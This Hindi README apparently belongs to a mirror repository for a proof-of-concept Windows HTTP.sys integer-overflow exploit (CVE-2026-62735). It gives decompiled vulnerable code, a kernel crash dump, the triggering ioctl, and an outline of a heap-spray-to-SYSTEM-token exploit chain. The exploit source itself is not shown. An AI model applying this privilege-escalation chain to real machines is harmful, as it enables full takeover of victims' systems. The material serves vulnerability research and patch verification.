
Windows HTTP.sys पूर्णांक अतिप्रवाह (CVE-2026-62735) के लिए स्थानीय विशेषाधिकार वृद्धि शोषण, जो गैर-पेज्ड पूल अतिप्रवाह के माध्यम से क्रैश और पूर्ण SYSTEM शेल प्रदर्शित करता है। अधिकृत परीक्षण के लिए।
Integer Overflow भेद्यता द्वारा क्रैश प्रदर्शित किया है। इस भेद्यता के साथ, हमारे पास Heap Overflow -> SYSTEM shell का प्रिमिटिव है।Integer Overflowhttp.sysUlpCreateInternalResponseOldhttp.sys TotalHeaderBytes के आधार पर मेमोरी आवंटित करता है, भले ही हेडर को बहुत बड़े बफर की आवश्यकता होती है। यह UlGenerateMultipleKnownHeadersOld में नॉनपेज्ड-पूल आवंटन को ओवरफ्लो करने का आधार प्रदान करता है:__int64 __fastcall UlpCreateInternalResponseOld(
sv_UL_REQUEST *Request,
unsigned __int16 EntityChunkCount,
unsigned int FixedHeaderCount,
unsigned int FixedHeaderBytes,
unsigned int MultipleHeaderCount,
unsigned int MultipleHeaderBytes,
unsigned __int16 KnownHeaderCount,
unsigned int TrailerCount,
unsigned int TrailerBytes,
char FastForwardRequested,
char CacheEligible,
char ResponseInfoPresent,
char AutomaticChunkingRequired,
char AdditionalHeaderRequired,
sv_UL_INTERNAL_RESPONSE **InternalResponseOut)
{
int VariableHeaderBytes; // r9d
int H3ExtraHeaderBytes; // r10d
unsigned int MultipleHeaderBytesLocal; // ecx
unsigned int TotalHeaderBytes; // [rsp+E8h] [rbp+60h]
...
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
...
}
*** Fatal System Error: 0x00000050
(0xFFFFCD86AE712000,0x0000000000000002,0xFFFFF807489C4362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF807489C4362 base at FFFFF80748860000, DateStamp 2bfcaa4c
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`b26fa0d0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 ffffe205`092ddf78 fffff807`b27afcf2 nt!DbgBreakPointWithStatus
01 ffffe205`092ddf80 fffff807`b27af21e nt!KiBugCheckDebugBreak+0x12
02 ffffe205`092ddfe0 fffff807`b26f9357 nt!KeBugCheck2+0xb2e
03 ffffe205`092de770 fffff807`b24fd030 nt!KeBugCheckEx+0x107
04 ffffe205`092de7b0 fffff807`b2443c56 nt!MiSystemFault+0x850
05 ffffe205`092de8a0 fffff807`b28badcb nt!MmAccessFault+0x646
06 ffffe205`092dea10 fffff807`489c4362 nt!KiPageFault+0x38b
07 ffffe205`092deba8 fffff807`489a6611 HTTP!memcpy+0x122
08 ffffe205`092debb0 fffff807`4897c165 HTTP!UlGenerateMultipleKnownHeadersOld+0xbdd
09 ffffe205`092ded90 fffff807`48976db0 HTTP!UlpPrepareHttpResponseOld+0x2c9
0a ffffe205`092dee70 fffff807`489361a4 HTTP!UlCaptureHttpResponseOld+0x92c
0b ffffe205`092defc0 fffff807`488f7c92 HTTP!UlSendHttpResponseIoctlOld+0x1160
0c ffffe205`092df600 fffff807`488c4db5 HTTP!UlSendHttpResponseIoctl+0x12
0d ffffe205`092df630 fffff807`b245cabb HTTP!UxDeviceControl+0xb5
0e ffffe205`092df670 fffff807`b245ca33 nt!IopfCallDriver+0x5b
0f ffffe205`092df6b0 fffff807`b2ac0e75 nt!IofCallDriver+0x13
10 ffffe205`092df6e0 fffff807`b2abfcbc nt!IopSynchronousServiceTail+0x1c5
11 ffffe205`092df790 fffff807`b2abf30e nt!IopXxxControlFile+0x99c
12 ffffe205`092dfa00 fffff807`b28bf255 nt!NtDeviceIoControlFile+0x5e
13 ffffe205`092dfa70 00007ffa`d37c0144 nt!KiSystemServiceCopyEnd+0x25
14 00000014`0d9af2d8 00007ffa`d08a3953 ntdll!NtDeviceIoControlFile+0x14
15 00000014`0d9af2e0 00007ffa`d1f93335 KERNELBASE!DeviceIoControl+0x73
16 00000014`0d9af350 00007ff7`00cb1cb4 KERNEL32!DeviceIoControlImplementation+0x75
17 00000014`0d9af3a0 00000000`00001f7f poc!main+0x924
18 00000014`0d9af3a8 00000000`00000007 0x1f7f
19 00000014`0d9af3b0 00000014`0d9af4a0 0x7
1a 00000014`0d9af3b8 00000000`00000000 0x00000014`0d9af4a0
यह रिपॉजिटरी CVE-2026-62735 (Windows HTTP.sys इंटीजर ओवरफ्लो → नॉनपेज्ड पूल ओवरफ्लो → SYSTEM) भेद्यता PoC का ट्रांज़िट वितरण मिरर है (तकनीकी विवरण ऊपर अपस्ट्रीम मूल README में देखें)। सामग्री अपस्ट्रीम सार्वजनिक PoC मिरर से ली गई है, केवल संग्रह और वितरण उद्देश्यों के लिए। PoC केवल सुरक्षा अनुसंधान, भेद्यता सत्यापन और अधिकृत परीक्षण के लिए है, अनधिकृत लक्ष्यों पर उपयोग न करें।
UlpCreateInternalResponseOld / UlGenerateMultipleKnownHeadersOld (http.sys, पुराना कोड पथ)0x12403F (UlSendHttpResponseIoctl) के माध्यम से http.sys को प्रोसेसिंग के लिए भेजती हैमुख्य सिद्धांत: TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes — जब मल्टी-वैल्यू रिस्पॉन्स हेडर बाइट्स को 2³² के करीब बनाया जाता है, तो यह 32-बिट योग बहुत छोटे मान में रैप हो जाता है (0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e), ExAllocatePool3 इसके आधार पर वास्तविक आवश्यकता से बहुत छोटा कर्नेल बफर आवंटित करता है, फिर UlGenerateMultipleKnownHeadersOld का memcpy उस नॉनपेज्ड पूल ब्लॉक को बाउंड्री से बाहर लिखता है।
poc/ poc.cpp + head.hpp —— पूर्ण शोषण: नेम्ड पाइप DQE हीप स्प्रे → पूल ओवरफ्लो 0x30 हेडर नियंत्रण → मनमाना रीड/राइट → SYSTEM token कॉपी → SYSTEM shell
crash/ poc.cpp + head.hpp —— केवल क्रैश ट्रिगर (भेद्यता की उपस्थिति सत्यापित करता है, 0x50 bugcheck ट्रिगर करता है)
crash/ और poc/ दोनों स्वतंत्र निष्पादन योग्य हैं; poc.exe सफलतापूर्वक चलाने पर SYSTEM shell खुलेगायह PoC केवल शिक्षण, सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है, केवल अपने स्वयं के या स्पष्ट रूप से अधिकृत सिस्टम पर चलाएं। शोषण कर्नेल पूल ओवरफ्लो के माध्यम से SYSTEM तक विशेषाधिकार उन्नयन करेगा, जो ब्लू स्क्रीन (0x50) ट्रिगर कर सकता है, कृपया नष्ट करने योग्य वर्चुअल मशीन में परीक्षण करें।
LICENSE देखें)।